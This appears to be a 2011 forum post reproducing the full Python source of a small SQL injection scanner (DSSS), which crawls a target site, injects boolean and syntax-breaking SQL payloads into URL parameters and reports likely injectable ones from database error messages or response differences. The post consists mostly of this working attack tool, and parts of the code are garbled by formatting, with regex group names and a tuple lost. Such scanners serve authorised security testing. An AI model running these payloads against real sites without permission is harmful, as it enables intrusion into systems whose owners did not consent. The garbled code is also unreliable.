Active Members Fi8sVrs Posted July 17, 2011 Active Members Report Posted July 17, 2011 Below you can find the Source Code of the Damn Small SQLi Scanner (DSSS) v. 0.1b having less than 100 LOC (Lines of Code):#!/usr/bin/env pythonimport difflib, httplib, optparse, random, re, sys, urllib2, urlparseNAME = "Damn Small SQLi Scanner (DSSS) < 100 LOC (Lines of Code)"VERSION = "0.1b"AUTHOR = "Miroslav Stampar (http://unconciousmind.blogspot.com | @stamparm)"LICENSE = "GPLv2 (www.gnu.org/licenses/gpl-2.0.html)"NOTE = "This is a fully working PoC proving that commercial (SQLi) scanners can be beaten under 100 lines of code (6 hours of work, boolean, error, level 1 crawl)"INVALID_SQL_CHAR_POOL = ['(',')','\'','"']CRAWL_EXCLUDE_EXTENSIONS = ("gif","jpg","jar","tif","bmp","war","ear","mpg","wmv","mpeg","scm","iso","dmp","dll","cab","so","avi","bin","exe","iso","tar","png","pdf","ps","mp3","zip","rar","gz")SUFFIXES = ["", "-- ", "#"]PREFIXES = [" ", ") ", "' ", "') "]BOOLEANS = ["AND %d=%d", "OR NOT (%d=%d)"]DBMS_ERRORS = {}DBMS_ERRORS["MySQL"] = [r"SQL syntax.*MySQL", r"Warning.*mysql_.*", r"valid MySQL result", r"MySqlClient\."]DBMS_ERRORS["PostgreSQL"] = [r"PostgreSQL.*ERROr", r"Warning.*\Wpg_.*", r"valid PostgreSQL result", r"Npgsql\."]DBMS_ERRORS["Microsoft SQL Server"] = [r"Driver.* SQL[\-\_\ ]*Server", r"OLE DB.* SQL Server", r"(\W|\A)SQL Server.*Driver", r"Warning.*mssql_.*", r"(\W|\A)SQL Server.*[0-9a-fA-F]{8}", r"Exception Details:.*\WSystem\.Data\.SqlClient\.", r"Exception Details:.*\WRoadhouse\.Cms\."]DBMS_ERRORS["Microsoft Access"] = [r"Microsoft Access Driver", r"JET Database Engine", r"Access Database Engine"]DBMS_ERRORS["Oracle"] = [r"ORA-[0-9][0-9][0-9][0-9]", r"Oracle error", r"Oracle.*Driver", r"Warning.*\Woci_.*", r"Warning.*\Wora_.*"]DBMS_ERRORS["IBM DB2"] = [r"CLI Driver.*DB2", r"DB2 SQL error", r"db2_connect\(", r"db2_exec\(", r"db2_execute\(", r"db2_fetch_"]DBMS_ERRORS["Informix"] = [r"Exception.*Informix"]DBMS_ERRORS["Firebird"] = [r"Dynamic SQL Error", r"Warning.*ibase_.*"]DBMS_ERRORS["SQLite"] = [r"SQLite/JDBCDriver", r"SQLite.Exception", r"System.Data.SQLite.SQLiteException", r"Warning.*sqlite_.*", r"Warning.*SQLite3::"]DBMS_ERRORS["SAP MaxDB"] = [r"SQL error.*POS([0-9]+).*", r"Warning.*maxdb.*"]DBMS_ERRORS["Sybase"] = [r"Warning.*sybase.*", r"Sybase message", r"Sybase.*Server message.*"]DBMS_ERRORS["Ingres"] = [r"Warning.*ingres_", r"Ingres SQLSTATE", r"Ingres\W.*Driver"]def getTextOnly(page): retVal = re.sub(r"(?s)|<!--.+?-->||<[^>]+>|\s", " ", page) retVal = re.sub(r"\s{2,}", " ", retVal) return retValdef retrieveContent(url): retVal = ["", httplib.OK, "", ""] # [filtered/textual page content, HTTP code, page title, full page content] try: retVal[3] = urllib2.urlopen(url.replace(" ", "%20")).read() except Exception, e: if hasattr(e, 'read'): retVal[3] = e.read() elif hasattr(e, 'msg'): retVal[3] = e.msg retVal[1] = e.code if hasattr(e, 'code') else None match = re.search(r"(?P<title>[^<]+)", retVal[3]) retVal[2] = match.group("title") if match else "" retVal[0] = getTextOnly(retVal[3]) return retValdef shallowCrawl(url): retVal = set([url]) page = retrieveContent(url)[3] for match in re.finditer(r"href\s*=\s*\"(?P[^\"]+)\"", page, re.I): link = urlparse.urljoin(url, match.group("href")) if link.split('.')[-1].lower() not in CRAWL_EXCLUDE_EXTENSIONS: if reduce(lambda x, y: x == y, map(lambda x: urlparse.urlparse(x).netloc.split(':')[0], [url, link])): retVal.add(link) return retValdef scanPage(url): for link in shallowCrawl(url): print "* scanning: %s" % link for match in re.finditer(r"(?:[?&;])((?P\w+)=[^&;]+)", link): vulnerable = False tampered = link.replace(match.group(0), match.group(0) + "".join(random.sample(INVALID_SQL_CHAR_POOL, len(INVALID_SQL_CHAR_POOL)))) content = retrieveContent(tampered) for dbms in DBMS_ERRORS: for regex in DBMS_ERRORS[dbms]: if not vulnerable and re.search(regex, content[0], re.I): print " (o) parameter '%s' could be SQLi vulnerable! (%s error message)" % (match.group('parameter'), dbms) vulnerable = True if not vulnerable: original = retrieveContent(link) a, b = random.randint(100, 255), random.randint(100, 255) for prefix in PREFIXES: for boolean in BOOLEANS: for suffix in SUFFIXES: if not vulnerable: template = "%s%s%s" % (prefix, boolean, suffix) payloads = (link.replace(match.group(0), match.group(0) + (template % (a, a))), link.replace(match.group(0), match.group(0) + (template % (a, ))) contents = [retrieveContent(payloads[0]), retrieveContent(payloads[1])] if any(map(lambda x: original[x] == contents[0][x] != contents[1][x], [1, 2])) or len(original) == len(contents[0][0]) != len(contents[1][0]): vulnerable = True else: ratios = map(lambda x: difflib.SequenceMatcher(None, original[0], x).quick_ratio(), [contents[0][0], contents[1][0]]) vulnerable = ratios[0] > 0.95 and ratios[1] < 0.95 if vulnerable: print " (i) parameter '%s' appears to be SQLi vulnerable! (\"%s\")" % (match.group('parameter'), payloads[0])if __name__ == "__main__": print "%s #v%s\n by: %s\n" % (NAME, VERSION, AUTHOR) parser = optparse.OptionParser(version=VERSION) parser.add_option("-u", "--url", dest="url", help="Target URL (e.g. \"http://www.target.com/page.htm?id=1\")") options, _ = parser.parse_args() if options.url: scanPage(options.url) else: parser.print_help()http://www.aftershell.com/2011/07/16/python-damn-small-sqli-scanner-dsss-v0-1b/ Quote